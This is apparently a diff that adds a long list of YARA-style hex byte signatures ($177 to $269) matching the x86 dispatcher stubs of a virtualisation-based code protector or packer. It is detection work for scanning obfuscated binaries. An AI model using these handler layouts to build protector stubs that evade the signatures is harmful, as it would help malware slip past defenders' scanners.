+		$177 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 55 57 50 9C 56 52 50 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$178 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 55 9C 52 50 57 56 53 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9}
+		$179 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 56 52 9C 57 54 55 53 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 6D 00 E9}
+		$180 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 56 53 53 50 9C 52 57 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9}
+		$181 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 56 56 53 55 57 9C 52 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8A 55 04 83 C5 06 88 10 E9}
+		$182 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 56 57 52 55 50 9C 53 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 66 8B 6D 00 E9}
+		$183 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 56 57 55 50 52 9C 56 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 55 04 83 C5 08 89 10 E9}
+		$184 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 56 9C 50 55 53 54 52 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$185 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 57 50 55 56 53 9C 56 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 01 45 04 9C 8F 45 00 E9}
+		$186 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 57 52 56 53 50 55 9C 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 06 83 ED 04 83 EE FC 89 45 00 E9}
+		$187 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 57 56 52 53 55 53 50 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 6D 00 E9}
+		$188 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 57 56 52 9C 50 53 55 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 8D 0C 85 ?? ?? ?? ?? FF 21 89 EC 59 5F 5D 5B 58 9D 5A 5E 59 59 C3}
+		$189 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 57 9C 50 53 56 51 52 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 00 89 45 00 E9}
+		$190 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 9C 52 53 50 56 57 55 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$191 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 9C 52 57 50 53 55 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 24 85 ?? ?? ?? ?? 8B 6D 00 E9}
+		$192 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 9C 55 50 57 53 56 52 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9}
+		$193 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 9C 55 53 50 52 53 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$194 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 9C 55 53 53 56 50 52 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 24 85 ?? ?? ?? ?? 8B 45 00 36 8B 00 89 45 00 E9}
+		$195 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 9C 56 50 52 57 57 55 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 66 8B 55 04 83 C5 06 66 89 10 E9}
+		$196 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 9C 57 50 50 56 53 52 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9}
+		$197 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 9C 57 50 55 52 56 53 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 6D 00 E9}
+		$198 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 9C 57 53 50 55 51 52 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$199 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 50 53 51 9C 55 54 57 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$200 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 50 53 9C 55 51 54 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9}
+		$201 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 50 55 56 9C 57 53 51 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3}
+		$202 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 50 55 9C 51 56 51 53 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+		$203 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 50 55 9C 54 56 53 57 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$204 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 50 56 57 53 9C 57 55 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$205 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 50 9C 55 53 51 56 57 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 45 00 01 45 04 9C 8F 45 00 E9}
+		$206 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 51 50 55 57 56 57 53 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3}
+		$207 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 51 50 56 55 53 57 50 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+		$208 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 51 53 50 57 9C 55 54 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 24 85 ?? ?? ?? ?? 89 EC 5B 5E 5D 5D 9D 5F 58 5B 59 5A C3}
+		$209 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 51 55 57 53 9C 50 52 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$210 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 51 56 53 55 57 9C 50 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 06 83 ED 04 83 EE FC 89 45 00 E9}
+		$211 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 51 56 9C 56 53 57 50 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9}
+		$212 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 52 50 56 57 51 9C 53 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 6D 00 E9}
+		$213 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 53 50 55 51 56 9C 55 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 6D 00 E9}
+		$214 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 53 50 56 53 57 9C 55 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 EC 58 59 5D 9D 5F 5A 5E 58 5B 5A C3}
+		$215 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 53 53 9C 57 55 51 50 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 55 04 83 C5 08 89 10 E9}
+		$216 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 53 55 50 9C 56 54 57 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3}
+		$217 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 53 56 55 56 9C 57 51 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 24 85 ?? ?? ?? ?? 8B 75 00 83 C5 04 E9}
+		$218 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 53 57 55 56 51 50 9C 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$219 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 53 9C 50 56 51 55 54 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$220 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 53 9C 50 56 51 55 57 54 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 6D 00 E9}
+		$221 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 54 51 50 55 53 56 9C 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8A 55 04 83 C5 06 88 10 E9}
+		$222 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 54 53 57 51 55 56 9C 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$223 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 54 56 50 9C 55 53 57 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9}
+		$224 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 55 50 53 56 51 9C 50 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 55 04 83 C5 08 89 10 E9}
+		$225 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 55 50 57 53 56 9C 57 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+		$226 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 55 53 50 56 53 51 57 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9}
+		$227 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 55 56 51 53 50 9C 53 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 55 04 83 C5 08 89 10 E9}
+		$228 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 55 56 51 9C 53 57 51 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 06 83 C6 04 83 ED 04 89 45 00 E9}
+		$229 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 55 56 9C 57 51 50 53 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$230 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 55 9C 50 51 57 53 51 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$231 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 55 9C 55 56 57 51 53 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3}
+		$232 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 56 53 50 55 9C 57 51 54 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9}
+		$233 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 56 53 51 50 9C 57 50 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3}
+		$234 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 56 55 9C 56 57 50 51 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$235 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 56 56 57 55 53 9C 50 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 75 00 83 C5 04 E9}
+		$236 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 56 9C 57 50 53 55 57 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 89 E8 83 ED 04 89 45 00 E9}
+		$237 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 57 50 53 51 56 55 9C 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3}
+		$238 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 57 53 9C 50 50 56 55 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$239 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 57 53 9C 54 55 51 56 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 24 85 ?? ?? ?? ?? 8B 45 00 01 45 04 9C 8F 45 00 E9}
+		$240 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 57 56 51 50 9C 55 57 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+		$241 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 9C 56 53 55 57 54 50 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$242 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 51 51 9C 52 57 55 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 06 83 ED 04 83 EE FC 89 45 00 E9}
+		$243 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 51 53 52 57 55 9C 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3}
+		$244 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 54 9C 51 56 55 57 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$245 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 55 50 51 9C 52 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9}
+		$246 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 55 52 51 9C 52 57 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9}
+		$247 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 55 57 53 52 9C 56 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9}
+		$248 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 57 53 9C 52 51 55 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$249 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 57 56 55 51 9C 51 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3}
+		$250 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 57 56 9C 55 52 51 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+		$251 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 57 9C 56 51 52 55 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 8D 0C 85 ?? ?? ?? ?? FF 21 8B 6D 00 E9}
+		$252 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 9C 50 56 57 51 52 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 24 85 ?? ?? ?? ?? 89 E8 83 ED 04 89 45 00 E9}
+		$253 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 9C 54 51 57 52 56 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$254 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 9C 55 56 54 57 52 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$255 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 51 50 52 52 57 55 56 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+		$256 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 51 50 9C 55 52 50 57 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 06 8D 76 04 83 ED 04 89 45 00 E9}
+		$257 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 51 52 55 56 55 57 50 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$258 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 51 52 55 56 56 9C 57 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3}
+		$259 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 51 55 56 52 9C 57 50 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 36 8B 00 89 45 00 E9}
+		$260 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 51 56 50 57 55 52 9C 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3}
+		$261 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 51 9C 52 57 55 50 56 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9}
+		$262 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 52 50 56 51 57 56 55 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8A 06 8A 04 07 83 ED 02 66 89 45 00 46 E9}
+		$263 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 52 55 9C 57 56 51 50 54 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 89 EC 5A 5E 58 59 5E 5F 9D 5D 5A 5B C3}
+		$264 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 52 56 9C 57 50 51 55 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 55 04 83 C5 08 89 10 E9}
+		$265 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 52 57 50 55 51 9C 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 00 89 45 00 E9}
+		$266 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 52 57 55 51 9C 56 50 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9}
+		$267 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 52 57 55 56 51 55 9C 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 34 85 ?? ?? ?? ?? C3}
+		$268 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 52 9C 55 57 50 51 55 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 24 85 ?? ?? ?? ?? 89 E8 83 ED 04 89 45 00 E9}
+		$269 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 52 9C 56 50 53 57 51 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 00 89 45 00 E9}
